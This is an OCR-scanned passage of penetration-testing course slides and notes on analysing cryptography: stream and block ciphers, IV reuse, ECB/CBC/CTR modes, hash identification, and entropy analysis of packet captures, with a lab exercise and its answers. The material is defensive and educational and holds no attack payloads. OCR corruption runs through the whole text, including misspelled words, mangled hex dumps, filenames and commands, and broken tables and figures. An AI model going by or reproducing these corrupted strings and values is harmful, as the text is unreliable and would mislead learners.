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Crpto and Post Exploitation

We spend this section ofthe course covering topics such as crypto ¥r penetration testers, post exploitation,
and escaping Windows and Unix/Linux restricted environments.
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Course Roadmap

In this module, we turn our focus to a new topic area: Evaluating common cryptographic systems and
exploiting Faws in cryptography.
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* Essential crpto skill development
* Tools you can use
* Applying crpto analysis

SEC660 | Advanced Pnetration Testing, Exploit\Writing, and Ethical Hacking S
Obijectives
We will first take a look at multiple cryptographic principles, helping you build essential cryptography
analysis skills. We'll also look at multiple tools we can use to evaluate cryptography and examine multiple
options Fr attacking and exploiting cryptography implementations.
© 2018, Joshua Wright, James Shewmaker 5




Crypto and Pen Testing

* Many pen testers skip over crypto in assessments
* Math, algorithms, more math, etc.

* With some essential skills, you can recognize failures in
weak crypto

* We'll examine general and specifc crypto vulnerabilities

When evaluating crypto, we ofen celebrate the small stuf.

SEC660 f Advanced Penetration Testing, Eploit\Writing, and E€icl Hacking 6

Crypto and Pen Testing

Many penetration testers tend to skip over cryptography in their assessments. Ofen, much ofthe detail
surrounding algorithms and implementations are based in complex mathematics, algorithms, and other
un¥miliar territory. With some essential skill development though, we can recognize and exploit Filures in
weak cryptography systems and continue building skills until we have the confdence to evaluate and attack

cryptography.

In this module, we'll examine both general and specific cryptographic vulnerabilities, with a Fcus on the skills
that are useful for a penetration tester who has to occasionally review the implementation ofencryption and
related systems. Sadly, most assessments don't allow the time to evaluate new cryptographic vulnerabilities
Tully, let alone assess them to the point of developing an exploit tool. While we want to have the skills to
review and attack cryptographic systems, we need to be able to identi vulnerabilities quickly and rate their
criticality while explaining them in an approachable, understandable way for the customer.

When evaluating cryptography systems, we tend to celebrate the small weaknesses. Most cryptographic
failures don't lead to catastrophic failures (though some do) but are still use®l when combined with other
exploits and analysis techniques as part ofan overall system risk assessment.

6 © 2018, Joshua Wright, James Shewmaker
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WhatWe're Targeting

* Itisuncommon to identi¥ crypto faws in widespread
protocols (TLS, PGP, etc.)

* There is a lot more crypto to attack out there:
* Less common but critical standards
* Proprietary applications
* Other wireless protocols
* Removable storage drives
* Custom web-app session cookies, etc.
* Database table/column encryption

SEC660 | Advanced Penetrtion Testing, Exploit Writing, and Ettical Hacking
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What We're Targeting

Today, it's uncommon to identi®F cryptographic Faws in widespread protocols such as TLS and PGP due to
their history ofpublic and open vetting. However, there are still a lot of other cryptographic systems deployed
that can expose organizations to signifcant risk. Some other common systems using cryptography that escape
the thorough vetting of more popular protocols include:

* Less common but critical standards, such as those used in control systems
* Proprietar application functionality for protecting stored files or network tra®#c

* Other wireless protocols beyond IEEE 802.11 including standards-based and proprietary wireless
protocols
* Removable storage drives using custom protocol implementation Fr encryption and user validation

* Custom web application session data stored in cookies and other parameters
* Database table or column encryption mechanisms

Even though we aren't likely to discover groundbreaking vulnerabilities in TLS or PGP, there is still a
tremendous amount ofvaluable analysis work to be completed on other popular technologies.

© 2018, Joshua Wright, James Shewmaker




Stream Ciphers

* Encrypt one bit at a time

* Encrypted length is the same as the plaintext
* 63 bytes ciphertext means 63 bytes plaintext

* Examples include RC4, A/1, Eo

* Cipher generates a keystream

* Keystream is XORed with plaintext to produce
ciphertext

SEC660 | Advanced Penetraton Testing, EploitW rting, and E€icl Hacking

Stream Ciphers

We'll start building skills for evaluating cryptography with understanding common cryptographic principles.
First, we'll examine the common category of stream ciphers.

A stream cipher is a class ofcipher that encrypts one bit of data at a time. This is as opposed to a block cipher
that encrypts one block of data at a time.

One interesting property ofa stream cipher is that the length ofthe encrypted content reveals the length ofthe
plaintext content. Ifthe ciphertext data is 63 bytes in length, then the plaintext data is also 63 bytes in length.
When examining a network protocol, this can be useful, since it can disclose some infnnation about the
nature ofthe traffic in use.

Examples of stream ciphers include RC4 (used by SSL, Kerberos, BitTorrent, WEP, and many other
algorithms), AS/I (used by some GSM networks), and EO (used by Bluetooth).

All stream ciphers generate an output value known as a keystream for a given key. This keystream data is then
XORed with the plaintext value to produce ciphertext. To decrypt the ciphertext, the same key is used to
generate the same keystream data, which is XORed against ciphertext to produce plaintext.

8 © 2018, Joshua Wright, James Shewmaker




Critical Evaluation: IV Handling

* Law of stream ciphers: Can never use the same key twice

* We accomplish this by mixing a per-packet value with
each key:
* Initialization Vector (V)
* IVis not a secret (usually sent in packet)

* Must rotate key before IVs repeat

per-packet key
. secret | = v secret

vV | +

SEC660 | Advanced Penetration Testing, Exploit Writing, and Ettical Hacking 9
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Critical Evaluation: 1V Handling

Stream ciphers are fast algorithms Fr encrypting data but suffer fom a significant deployment burden. All
stream ciphers generate keystream data, which is then XORed with the plaintext to produce ciphertext (or vice
versa). Since the keystream is always the same ¥r a given key, all stream ciphers must use a given key no
more than once to encrypt data. This is commonly refrred to as the law of stream ciphers: You can never use

the same key twice.

Instead ofchanging the entire key ¥r each packet being encrypted, we split the key into two portions: The
shared secret portion and the initialization value (1V). The 1V is not a secret (and is usually included in a
packet or associated with the ciphertext), but it must change ¥r each unique data set (Fr example, Fr each
packet or Fr each fle being encrypted). Since the IV changes with each data set being encrypted, when we
combine it with the shared set, it #rms a unique key (for network protocols, this is ofen referred to as a per-

packet key).

One concern with the use ofan IV and a shared secret is that the IV must never repeat ifthe shared secret
remains the same. Ifthe key length is 128 bits (1 6 bytes), we might devote 4 bytes ¥r the IV and 12 bytes for
the secret. Afer all the possible unique values ofthe 1V run out (4.2 billion), we must change the shared secret

before continuing to encrypt data.

© 2018, Joshua Wright, James Shewmaker 9




IV Considerations

* How long is the I\V?
* Longer IV means more unique keys before key rotation is needed

* How is the IV selected?
* Sequential IV selection? What happens when the device reboots?
IV Wrap?
* Random IV selection? Birthday Paradox!

* Do multiple devices use the same key without IV
coordination?

SEC660 | Advanced Penetraton Testing. Exploit Writing. and Ettical Hacking

IV Considerations
When evaluating a cryptosystem that uses a stream cipher, there are several important questions to consider:

*  What is the length ofthe IV? An IV that is very long will reduce the quality ofthe overall key length
(since the 1V is not a secret and takes away Fom the length ofthe shared secret key). A longer 'V will
accommodate more unique keys until the 1V space is exhausted.

* Howi s the IV selected? Some implementations may choose to use sequential 1V selection, starting at 0
and incrementing by one for each packet or unique data set being encrypted. A concern with sequential
IV selection is how the 1V is handled when a device reboots; does it return to 0 (therefore colliding
with all prior IVs that were used)? What happens when the 1V space is exhausted? Ifthe IV is
randomly selected (and a history of prior IVs is not maintained to avoid collisions), then the 1V
selection algorithm is vulnerable to the Birthday Paradox Attack, where the likeliness ofa collision is
exponentially increased r each IV used.

* Isthere IV coordination between multiple devices that use the same shared secret? Remember the
same key cannot be used twice; this is true even ifit is two diferent devices using the same shared
secret with the same 1V.

10 © 2018, Joshua Wright, James Shewmaker
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Block Ciphers

* Encrptdataa block at a time

* Must pad the last few bytes to an even block length

* 8-byte block length with 64 bytes ciphertext is 57-64 bytes
plaintext

* Examples include: AES, DES, 3DES, Blowfsh

SECG0 | Advanced Penetrton Testing, Exploit Writing and Eicl Hacking
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Block Ciphers

Unlike a stream cipher, a block cipher encrypts one block ofdata at a time. When the data to be encrypted is
an uneven length that is not evenly divisible by the block length, thenthe data must be padded to an even

block length.

Where we can determine the length ofa plaintext packet by examining the ciphertext length in a stream cipher,
we cannot make the same assertion in a block cipher. Ifthe block size is 8 bytes and the ciphertext length is 64
bytes, the plaintext length could be anywhere between 57 and 64 bytes in length (one byte greater than the last

evenly divisible block length).

The popular AES, DES, and Triple DES (3DES) algorithms are all examples of block ciphers. The Blowfish
and TwoTsh algorithms developed by Bruce Schneier are also examples ofblock ciphers.

© 2018, Joshua Wright, James Shewmaker
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Block Cipher Modes

* Block ciphers introduce a "mode"
* Some block cipher modes provide better security than others

* Anyblock cipher can be used wth various modes (AES-
CTR, 3DES-CBC)
* We'll look at ECB, CBC, CTR modes

SEC660 | Advanced Pene®&ction Testing, Exploit\Writing, and Ethicl Hacking 12

Block Cipher Modes
Block ciphers introduce the concept o fa mode ofoperation. With multiple options for mode selection, it's no
wonder that some block cipher modes provide better security than others.

Any block cipher can be used with any mode. For example, the Cipher Block Chaining (CBC) mode can be
used with AES or DES encryption, noted as AES-CBC or DES-CBC.

We'll examine the Electronic Codebook (ECB), Cipher Block Chaining (CBC), and Counter (CTR) block
cipher modes.

12 © 2018, Joshua Wright, James Shewmaker
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Electronic Codebook Mode (ECB)

* Encrypts each block with the same key
* Critical issue: Same plaintext blocks encrypt to matching
ciphertext blocks
* Attacker can identiF repetitious blocks of plaintext

* Commonly an issue with lots of o's
* Reveals interesting content about plaintext

$ xxd -p tripledes-ecb-encrypted-secrets.bin
b2e5d275b8a9d7£d045f8ableb091f46890a6a8b763c4ddb97f642c5£7d8

edb5b2e5d275b8ag9d7fd05ee7b58ale242f1f04eab49bff6ed46fb8b5£d99

SEC660 | Advanced Penetration Testing, Exploit Writing, and Ettical Hacking 13

Electronic Codebook Mode (ECB)
Electronic Codebook Mode (ECB) is the most basic ofthe block cipher modes, where each block is encrypted
individually without influencing the prior or the Fllowing blocks. This technique has the signifcant concern

ofproducing identical ciphertext blocks for identical plaintext blocks.

Consider the impact ofencrypting a fle ofsecrets protected with 3DES-ECB, shown on this slide. When
dumping the contents ofthe encrypted file with the "xxd" hexdump utility, we see a seemingly random
collection ofbytes, except that there are two identical blocks present, beginning with "b2e5...". This allows an
attacker to identi¥ duplicate blocks ofdata, despite being encrypted. This iscommonly an issue where
network protocols, fles, and other plaintext data sources have lots 0f0x00 bytes.

© 2018, Joshua Wright, James Shewmaker 13




Explaining ECB Weakness

* Relate the vulnerability to something the customer can
relate to directly
* Visuals help too!

* AES-ECB 128-bit
encrypted image

* Repetition in image
reveals a pattern

* Consider ECB
disk encryption
impact

SEC660 | Advanced Penetraton Testing, Exploit Writing, and EEicl Hacking  t4

Explaining ECB Weakness

When a system uses ECB to encrypt data, there is always the threat ofinformation disclosure from duplicate
plaintext blocks producing duplicate ciphertext blocks. This is sometimes diFicult to grasp Fr people with no
experience in data analysis and cryptographic systems, so you may be asked to provide an example ofan
attack.

To demonstrate the weakness in ECB, we can use visualization tools. The image on this slide is encrypted with
AES-ECB and a 128-bit key. Notice that there is clearly repetition in the image, revealing a data patter.

Afer demonstrating this issue, helping people recognize that despite being encrypted, a significant risk of
information disclosure is also present. A similar application targeting an ECB-encrypted disk partition could
easily reveal portions ofthe disk where unique data sets are stored, allowing an attacker to focus their analysis
on useFl target areas while ignoring the portions ofthe disk with signifcant repetition.

14 © 2018, Joshua Wright, James Shewmaker
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ECB_Encrypt_Image

* Simple tool to AES-ECB encrypt a BMP fle
* Used in the previous slide to produce an encrypted SA\S logo
image
* Use with your customer's logo for similar impact in your
tndings report
* BMP must have width and length evenly divisible by 4 (resize if

necessary)
* The lower the unique color count, the more identifable the

encrpted image will be

http://www.willhack ¥rsushi.com/code/ech_encrypt_image.zip

SEC60 | Adwvnced Pene®&ton Testing, ExploitWriting, and E€icl Hacking (s

ECB_Encrypt_Image

The SANS logo shown on this slide was used in the prior slide to demonstrate the weakness in ECB
encryption. You can reproduce a picture like this with a bitmap ofyour choosing, using the
ecb_encrypt_image.exe tool available in the URL on this slide.

In order to use this tool, the bitmap must have a width and length that is evenly divisible by four; it may be
necessary to resize your image by a few pixels to encrypt the original and produce an encrypted bitmap on the

output.

Also note that not all bitmaps produce such a stark reveal in the encrypted Ftm from the original. Generally,
the lower the total color count, the less uniqueness there is in the fle, producing more revealing encrypted

bitmaps.

© 2018, Joshua Wright, James Shewmaker 15



Cipher Block Chaining Mode

Plaintext Plaintext Plaintext
Block 1 Block 2 Block 3
i A i
2 TP — @ — @
Encrpt Encrypt ] Encrypt
Routine Routine Routine
W W Vi
Ciphertext Ciphertext Ciphertext
Block 1 Block 2 Block 3

* Adds "randomness" to each block
* Improves on ECB, preventing duplicate blocks
* What about the frst block?

SEC60 | Advanced Penetration Testing, EploitWriting, and Ettical Hacking
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Cipher Block Chaining Mode

Cipher Block Chaining (CBC) is a popular block cipher mode providing an improved level of security over
ECB. In CBC mode, a plaintext block is XORed with the output ofthe prior ciphertext block before being
encrypted. This new ciphertext block becomes the input into the next encryption routine.

Through the use of XOR with each block, CBC mode adds "randomness" or unique input to each encryption
operation. This improves on the ECB mode by preventing the presence ofduplicate blocks.

However, one concern is how the first block of plaintext is encrypted. Since each block ofplaintext is XORed
with the prior ciphertext block, we have a problem with the frst block. To solve this problem, we use a special
IV the length ofthe block size as the XOR input with the frst block.

© 2018, Joshua Wright, James Shewmaker




CBC IV

* CBCusesan IV as the frst "ciphertext" block
* Encrypted IV is XORed with frst byte of real plaintext
* 1V "should" not repeat

* Repeating IV can reveal plaintext patterns

$ openssl enc -aes-128-cbc -in packetl -K $KEY -iv $IV | xxd -p
0a940bb5416ef045f1c39458c653eabadl72ced43bfl47f4dffa206cld372ddca
$ openssl enc -aes-128-cbc -in packet2 -K $KEY -iv $IV | xxd -p
06cf727e3dc3bd52ce98916d71dd233bfc60as567fea20abe3191ab952c4a6491
$ openssl enc -aes-128-cbc -in packet3 -K $KEY -iv $IV | xxd -p
0a940bb5416ef045f1c39458c653eabadl72ce43bfl47f4dffa206cld372ddca

SEC& | Advance Peneration Testing Eploit Wriing and Ethicl Hacking |7
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CBC IV

CBC requires the use ofan 1V to encrypt the Frst plaintext block. Each successive plaintext block is XORed
with the prior ciphertext output, but the first block uses the 1V to get the process started.

Many recommendations state that the IV value should not repeat; a stronger security Fcus would likely
require that the 1V never repeat to avoid the repetition of ciphertext Ffom duplicate plaintext blocks.

Consider the example shown on the bottom ofthis slide. The openssl utility is used to encrypt three files
representing packets |, 2, and 3 using 128-bit AES-CBC. A static key (defned in the shell variable $KEY) and
a static 1V (defined in $1V) are used to encrypt these packets, dumping the output in hex with the xxd utility.
The output ofthese three encrypted packets repeats Fr packet | and packet 3, revealing to the attacker that the
plaintext content ofthese two packets is the same.

ITthese packets were encrypted with unique Vs, even sequentially selected Vs, then the attacker would see
three unique ciphertext packets and be unable to correlate packets | and 3 as duplicate.

© 2018, Joshua Wright, James Shewmaker 17




CTR Mode

 Must follow the law of stream ciphers ~ IV can never repeat for the same encryption key.

IV | Counter IV | Counter+1 IV | Counter+2
Enc}’ypt Enc;'ypt Enc'rpt
Routine Routine Routine

@ E ¢
Plaintext | Plaintext Plaintext
Block 1 Block 2 Block 3
) I I
Ciphertext Ciphertext Ciphertext
Block 1 Block 2 Block 3

SEC660 | Advanced Pnetrtion Tesdng, EploitWriting, and Ethical Hacking
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CTR Mode

In counter mode, we continue to use an IV, butwe do not Fed the output ofthe prior ciphertext to the next
encryption block. Instead, the IV is concatenated with a counter value that represents the input Fr the
encryption algorithm. In this mode, the 1V is not the length ofthe block, but is instead smaller by a Fw bytes
to accommodate the counter value that is concatenated with the 1V.

The counter value starts at 0 and is incremented by one ¥r each block that needs to be encrypted. Afer
concatenating the 1V and counter, the encryption routine encrypts the 1V and counter, producing keystream
data. The keystream output is XORed with the target plaintext block to produce ciphertext.

One signifcant benefit of CTR mode is that the encrypting host can encrypt all the blocks in parallel on
multiple processors. While CBC mode requires the output Fom the prior ciphertext for the next plaintext
block, CTR mode does not require any input from the prior block to encrypt the plaintext. CTR mode is
similar to ECB in this fashion, except that it prevents duplicate plaintext blocks from producing duplicate
ciphertext blocks, since the IV and counter combination are diferent #r each block.

One significant limitation ofthe use ofcounter mode is that, since it effectively works like a stream cipher by
XORing the plaintext with keystream data, it is bound to the law of stream ciphers as well. The JV can never
repeat Fr the same encryption key.

Later in this module we'll look at techniques to exploit stream ciphers and block ciphers in stream cipher mode
(including CTR mode) when an IV is reused.

© 2018, Joshua Wright, James Shewmaker
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ldentifying the Algorithm

* IdentiFing which algorithm is in use can be difcult

* Examine encrypted data sizes:
* Not evenly divisible by 8: Stream cipher, ofen RC4
* Always divisible by 16: AES (128-bit block size)

* Inconsistently divisible by 16, always divisible by 8: DES/3DES
(64-bit block size)

* Use documentation from vendor, patent flings, FCC
flings, etc.

SEC660 | Advanced Penetraton Testing, Exploit Writing, and Ettical Hacking 19

Identifying the Algorithm
A common question when evaluating cryptography is to identi ¥ the encryption algorithm in use. This can be

very difficult, since all high-quality encryption algorithms aim to create encrypted data that is
indistinguishable from random, making analysis ofthe ciphertext data itselfoflimited value.

In some cases, it is possible to identify the encryption algorithm by examining the size ofencrypted data. Ifthe
data is not evenly divisible by 8, then the cipher is likely a stream cipher. A very common stream cipher is

RCA4.

I the data is always evenly divisible by 16, then we can identi¥ the algorithm as having a block size of 16
bytes. AES isa common algorithm having a 1 6-byte block size.

[fthe data is sometimes indivisible by 16 but is always divisible by 8, then we can identi it as having an 8-
byte block length. DES and 3DES are common algorithms using an 8-byte block cipher.

There are few other opportunities to identi¥ the cipher in use by examining the encrypted data itself. Do not
overlook vendor documentation or other pertinent documentation, such as patent and FCC filings, that can
reveal additional information about the system.

© 2018, Joshua Wright, James Shewmaker 19




Hash Identifcation

* Many systems use hashes as an input for processing or
storage:

* Password storage, HT P parameters, message integrity checks,
etc.

* Length and format can reveal hash type

Hash-identifier evaluates a hash # python Hash_ID_vl.1.py

value by length and format, [omi tted for space]

functions by possible and Possible Hashs:
unlikely matches. [+] MDS5 (Wordpress)

SEC660 | Advanced Penettion Testing, Exploit Writing, and Ethical Hacking 20

Hash Identifcation
Many systems use hashed values as an input value for processing, storage, or data transport. Password storage

systems, HTTP parameters, and cryptographic message integrity check (MIC) Fnctions commonly rely on
hashing functions that take a variable length input value and produce a unique, fixed-length output value.

When analyzing network trafic or compromised data, hashed values are frequently observed, but can be
difFcult to identi® without additional insight into the system generating the hash. Fortunately, the length and
the Frmat ofa hashed value can ofen reveal the hash type. The hash-identifier project written by Lydecker
Heidegger (Zion3R) uses the characteristics of1 25 different hashing functions to evaluate an input hash value,
attempting to identi® the system that generated the hash.

In the example on this page, the hash value: "$P$B55D6L j fHDKINUSwF . v2Buuz00/XPk/" is given to
the Python script, identifFing the hash as the output ofthe Wordpress MD5 Fnction. When hash-identifer
cannot ascertain the hash type with ahsolute certainty, it will icienti® a list of potenfoll 11d unlikely hish
Fnctions that could have been used to generate the value, reducing the manual experimentation necessary ¥r
the analyst.

Hash-identifer is available at http://code.google.com/p/hash-identifer/.

20 © 2018, Joshua Wright, James Shewmaker
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Is It Encrypted?

* First, are we dealing with crypto?
* ObTscated data can be misleading

* Encrypted data should be indistinguishable from
random data
* No predictable patterns

* Leverage a histogram to visualize data
* Measure entropy in payload content
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Is It Encrypted?

A common question when evaluating data is to firstidenti® ifit is even encrypted at all. Even ifthe data is not
obviously encrypted (such as lacking recognizable plaintext ASCII strings), do not assume that it is encrypted.
Many systems will obFscate the data to thwart infrmation disclosure attacks without implementing strong
crptography.

A common principle in crptography is that encrypted data should be indistinguishable from random data.
When an attacker evaluates the output ofan encryption system, they should not be able to distinguish the
encrypted data from random data, revealing no predictable patterns.

To apply this concept, we can visualize the data Fom a packet capture to produce a histogram, graphing the
Tequency ofeach byte value in each packet payload. Jfthe data is encrypted (or random), then the histogram
should reveal an even distribution ofbyte values where the byte 0x20 should be no more Fequent than the
byte OXEE (Fr example).

© 2018, Joshua Wright, James Shewmaker
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Pcaphistogram

$ pcaphistogra.py borealis.pcap | gnuplot
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Pcaphistogram
counts the
frequency of each

byte in TCP and
UDP payloads,
generating a
gnuplot-compatible
graph.

22

22

Pcaphistogram

Pcaphistogram is a Python tool that reads from an Etheret or wireless packet capture and extracts the payload
data Fr TCP and UDP packets. For each byte ofpayload, Pcaphistogram increments a byte counter
corresponding to the observed value. At the end ofthe packet capture, Pcaphistogram creates a graph in
gnuplot format When the output of Pcaphistogram is passed to the gnuplot tool, an image similar to the one

shown on this slide is created.

In the example on this slide, there is an uneven distribution ofbyte Fequency, where the byte values starting at
0x64 and continuing through 0x80 are more frequent than many other byte values. This is indicative of
unencrypted data; an encrypted data set would reveal a nearly even line across all the X axis Fr all ofthe

unique byte values.

You can download Pcaphistogram from: https://github.com/joswr | ght/pcaphistogram.

© 2018, Joshua Wright, James Shewmaker




A4 ~

S

> 00
5 e ¢

tcpick and Ent

$ tcpick -r saple.dup -wR

2 tcp sessions detected
s Is *.dat

tcpick 192.168.123.10 192.168.123.50 1000.clnt.dat
tcpick 192.168.123.10_192.168.123.50_1000.serv.dat

$ ent tcpick 192.168.123.10_192.168.123.50_1000.cInt.dat
Entropy = 1.801035 bits per byte.

—

7
Optimum compression would reduce th % b,
of this 43130 byte file by 77 percenL 5"

Chi square distribution for 43130 samples is 7132318.93, and randomly
would exceed this value 0.01 percent of the times.

Arithmetic mean value of data bytes is 14.6692 (127.5 = random) .

Monte Carlo value for Pi is 3.977740679 (error 26.62 percent) .
Serial correlation coefficient is 0.102220 (totally uncorrelated = 0.0).
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tepick and Ent
Another option Fr evaluating the randomness o fpacket payload data is to extract a TCP session to a binary

file, then evaluate the output Fle with an entropy analysis tool.

The tcpick tool will read from a libpcap packet capture and identi® all TCP sessions. When run with the "-
wR" argument, tcpick will extract the TCP session payload data and write the contents to two binary fles
identifed by the source and destination IP address, destination port, and "cInt" or "serv" strings to represent
client and server data (the client is the node that sends the initial TCP SYN packet).

The Ent tool applies several statistical analysis techniques to identi ¥ the entropy or randomness ofthe fle. In
the example on this slide, the input file (TCP client data Fom tcpick) has 1.8 bits ofentropy per byte.
Comparatively, a file ofall zeros encrypted in AES-CTR mode produces an entropy score of 7.99, as shown
below:

$ dd if=/dev/zero bs=1024 count=100 of=plaintext

100+0 records in

100+0 records out

102400 bytes (102 kB) copied, 0.00378496 s, 27.1 MB/s

$ openssl enc -aes-128-cbc -in plaintext -out ciphertext
enter aes-128-cbc encryption password:

Verifying - enter aes-128-cbc encry/tion password:

$ ent ciphertext

Entropy = 7.997973 bits per byte.

Optimum compression would reduce the size
of this 102432 byte file by 0 percent.
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Chi square distribution for 102432 samples is 286.86, and randomly
would exceed this value 10.00 percent of the times.

Arithmetic mean value of data bytes is 127.3073 (127.5 = random),
Monte Carlo value for Pi is 3.147844424 (error 0.20 percent) .

Serial correlation coefficient is 0.002051 (totally uncorrelated = 0.0).
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Scapy and Ent

* Tcpick extracts TCP payloads
* Does not handle other protocols
* Does not let you extract only higher-layer protocols above TCP

* Can extract data with Scapy quickly and easily
* Chained Scapy "payload" object
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Scapy and Ent

While tepick is use ¥l in extracting the payload of TCP packets, it cannot handle other protocols and has
limited support for non-Etheret link layer protocols. Further, tcpick does not allow you to extract application
payload data above the TCP layer, which can skew entropy analysis ifthere are fxed headers or other felds
present afer the TCP header, but before the encrpted data starts.

Fortunately, we can tum to Scapy to solve this problem ¥r us. Scapy can easily extract payload data from a
packet capture (or a live network interface, ifdesired). Instead ofbeing limited to the payload ofthe TCP
header, Scapy grants us access to any ofthe upper-layer protocol data to save to a file Fr entropy analysis.

In Scapy, the first packet header contains a payload object, representing the payload ofthe frst header. We
can chain this reference by appending additional ".payload" refrences to access upper-layer data (such as
packet.payload.payload.payload).

© 2018, Joshua Wright, James Shewmaker
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Scapy Payload Extraction

# scapy
INFO: Can't import python gnuplot wrapper . Won't be able to plot. Welcome
to Scapy (2.2.0)
>>> fp = open("payloads.dat", "wb")
>>> def handler (packet) :
fp.write (str(packet.payload.payload.payload))

>>> sniff(offline="capturel.dup",prn=handler, filter="tcp or udp")

Add more .payload's for higher layers of the protocol

Also use ¥l for non-TCP tra®c or link layers tcpick doesn't
handle

SEC60 | Advanced Penetraton Testing, Exploit Writing, and Eic| Hacking
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Scapy Payload Extraction

The simple Scapy use in this slide frst opens an output fle to save payload content to with the 'F =
open("payloads.dat”,"wb")' command. Next a callback ¥Fnction is defned, invoked by Scapy once ¥r each
packet in the specifed packet capture. Each time the handler() Fnction is invoked, it supplies the Scapy
packet data to the Function in the variable "packet". We extract and save the packet payload contents to the
payloads.dat file afer converting it to a string as shown. Note that we specified:
"packet.payload.payload.payload”, which represents the Ethernet Header -> IP -> TCP -> Payload data.
Adding additional ".payload" layers will allow us to access upper-layer protocols even above the TCP packet
payload layer.

Finally, we start a new line outside ofthe handler() function, invoking the Scapy snif{) Fnction and reading
the "capture|.dump" libpcap packet capture for the input data. The Fnction "handler" is specifed with the
"prn" Fnction to identiF the callback function, as well as an optional Flter to limit the data sent to the handler
Fnction.

Note: The informative message "Can't import python gnuplot wrapper" shown when starting Scapy can be
safely ignored for this exercise.
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Exercise: Differentiating Encryption and Obfuscation

* Use one of three options to revew three packet capture

Tles:
* Visualize byte distribution data with pcaphistogram.py and
gnuplot
* Extract data with tcpick, evaluate with Ent
* Extract data with custom Scapy code, evaluate with Ent
* For each packet capture, evaluate data as encrypted or

unencrypted

# cd /root/lab/day?2
# Is *.dup
capturel .dump capture2.dump capture3.dump
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Exercise: Diferentiating Encryption and Ob¥scation

In this exercise, you'll review the data ofthree diferent packet captures to identi® ifthe content is encrypted
or unencrypted. For each packet capture, you have the option to review the content using Pcaphistogram,
tepick and Ent, or Scapy and Ent. IdentiF the nature ofthe content for each packet capture.
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Exercise: Differentiating Encryption and Obfuscation - STOP

* Stop here, unless you want answers to the exercise

SEC660 | Advanced Penetrtion Testing, Exploit Writing. and Ethical Hacking
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Exercise: Differentiating Encryption and Obfuscation - STOP

Don't go any Frther unless you want to get the answers to the exercises. The next page will begin a review of
the answers to this exercise.
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Histogram Analysis - capture|l.dump

# pcaphistogram.py capturel.dup

Tegque O

PacKet Parlo ; Histowam for capturel.du p—
35000C - + -
300000 f
250000 |
200000 ¥
150000 |
100000
50000 e
¥ W
:-&-'-:-—M.g'%"‘: ,’«u
0
00 32 64 96 €8 fa
Bte 1 ues

gnuplot; display capturel.png

- Unencrypted file with
clustering around the ASCII

character set. "strings" will
likely return interesting
content.
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Histogram Analysis - capture ldump

To review the packet capture with Pcaphistogram, run the pcaphistogram.py command as shown on this slide,
piping the output to the gnuplot tool. When Pcaphistogram finishes, you can view the output histogram file
using the "display" utility (on the same command line, separated by a semicolon as shown in this example or
on a second line). Repeat this step ¥r each ofthe three packet captures.

This slide shows the output from Pcaphistogram for each packet capture. The results fom capture | .dump
show a clustering of data around the ASCII character set, likely indicating that plaintext strings are present.
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Histogram Analysis - capturel.dump

# pcaphistogram.py capture2.dup | gnuplot; display capture2.png

Freous—

Packet Paloact Historam forcaptuie2 dump

180000

160000 Very narrow diWibUtian Qf
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Histogram Analysis - capture2.dump

The output from the second packet capture shows a much narrower byte distribution, likely indicating that the
content is encrypted. This graph is similar to measuring that ofa quality random number generator.
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Histogram Analysis - capturel.dump

# pcaphistogra.py capture3.dup | gnuplot; display capture3.png

Packet Paload Hislogram tor capture3,durrp
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Histogram Analysis - capture3.dump

The third packet capture shows another widely varying cluster ofvalues, thistime moved to the right Fom the
first packet capture. This is likely ob¥scated content, where ASCII content would normally be clustered
similar to the first packet capture. This content may have been ob¥scated with a static XOR key or other

similar technique.
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tcpick Analysis

root@kali:-/lab/day2# tcpick -r capturel.dup -wR

Starting tcpick 0.2.1 at 2018-03-05 23:37 PST
Timeout for connections is 600
tcpick: reading from capturel.dump

1 SYN-SENT 172.
1 SYN-RECEIVED 172.
1 ESTALISHED 172.
1 FIN-WAIT-1 172.
1 TIME-WAIT 172.

omitted for space

16.
16.
16.
16.
16.

O O O oo

J112:
L112:
2112
J112:
L112:

44634
44634
44634
44634
44634

vV V. V Vv VvV

root@kali:-/lab/day2# Is -ISh *.dat | more

-rw-r--r-- 1 root root 2.3M Mar
-rw-r--r-- 1 root root I.IM Mar
-rw-r--r-- 1 root root 95K Mar

. omitted for space

5 23:37 tcpick__74.208.
5 23:37 tcpick_74.208.
5 23:37 tcpick__74.208.

74
74

74 .
74 .
74 .

.208.
.208.
208 .
208.
208.

19.
19.
19.
19.

19

32:
32:
32:
32:
.32

http
http
http
http
http

19.32_http.clnt.2d.dat
19.32 _http.cInt.23 .dat
19.32_http.clnt.21.dat

Several tcpick stream files are created; we'll sample several random stream files for
capture|.dump.
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tepick Analysis

The second analysis option is to extract the TCP session data with tcpick and review the entropy ofthe stream
data fles with Ent. In the example on this slide, we run tcpick with the "-r" argument to read from the
capturel.dump capture fle, writing out the stream information into client and server data ("-wR"). Note some

output from tcpick shown on this page has been omitted for space.

For the capturel.dump fle, this will create a large number ofstream Fles. We can randomly sample several of

the data streams with Ent.

32
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Ent and tcpick Output

root@kali:~/lab/day2# ent tcpick 74.208.19.32 http.clInt.2d.dat | grep
Entropy

Entropy = 7.439225 bits per byte.

root@kali:~/lab/day2# ent tcpick 74.208.19.32_http.cInt.23.dat | grep
Entropy

Entropy = 7.972764 bits per byte.

root@kali:~/lab/day2# ent tcpick 74.208.19.32 http.cInt.2.dat | grep Entropy
Entropy = 5.306709 bits per byte.

root@kali:~/lab/day2# ent tcpick 74.208.19.32_http.clnt.dat | grep Entropy
Entropy = 5.272567 bits per byte.

Entropy varies throughout various streams, though still lower than desired ¥r
encrypted content. Some streams are likely compressed content. removing duplication
and giving the appearance of greater entropy.

SEC& | Advanced Penetraton Testing, Exploit Writing, and E€ical Hacking 33

Ent and tcpick Output

This slide shows the entropy results for several ofthe data capture Fles. In some cases, the entropy level is
fairly high, such as 7.43 and 7.97 bits per byte in some data streams, and fairly low in others, with 5.27 and 5.3
bits per byte.

Despite having some higher entropy readings, the values are not high enough to reflect the desired entropy for
encrypted data. While this could represent poorly encrypted data, it is more likely that this data is compressed
where duplication is removed to save space, giving the appearance ofgreater entropy as a result.
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Combined tcpick Content

r *.dat; tcpick -r capturel.dup -wR >/dev/null; cat *.dat >capturel-all
r *.dat; tcpick -r capture2.dup -wR >/dev/null; cat *.dat >capture2-all
rm *.dat; tcpick -r capture3.dup -wR >/dev/null; cat *.dat >capture3-all
rm *.dat

ent capturel-all | grep Entropy

Entropy = 7.575014 bits per byte.

# ent capture2-all | grep Entropy

Entropy = 7.999995 bits per byte.

# ent capture3-all | grep Entropy

Entropy = 4.772488 bits per byte.

HoH H R

Captures | and 3 have low entropy and are likely unencrypted. Capture 2 is very near 8 bits of

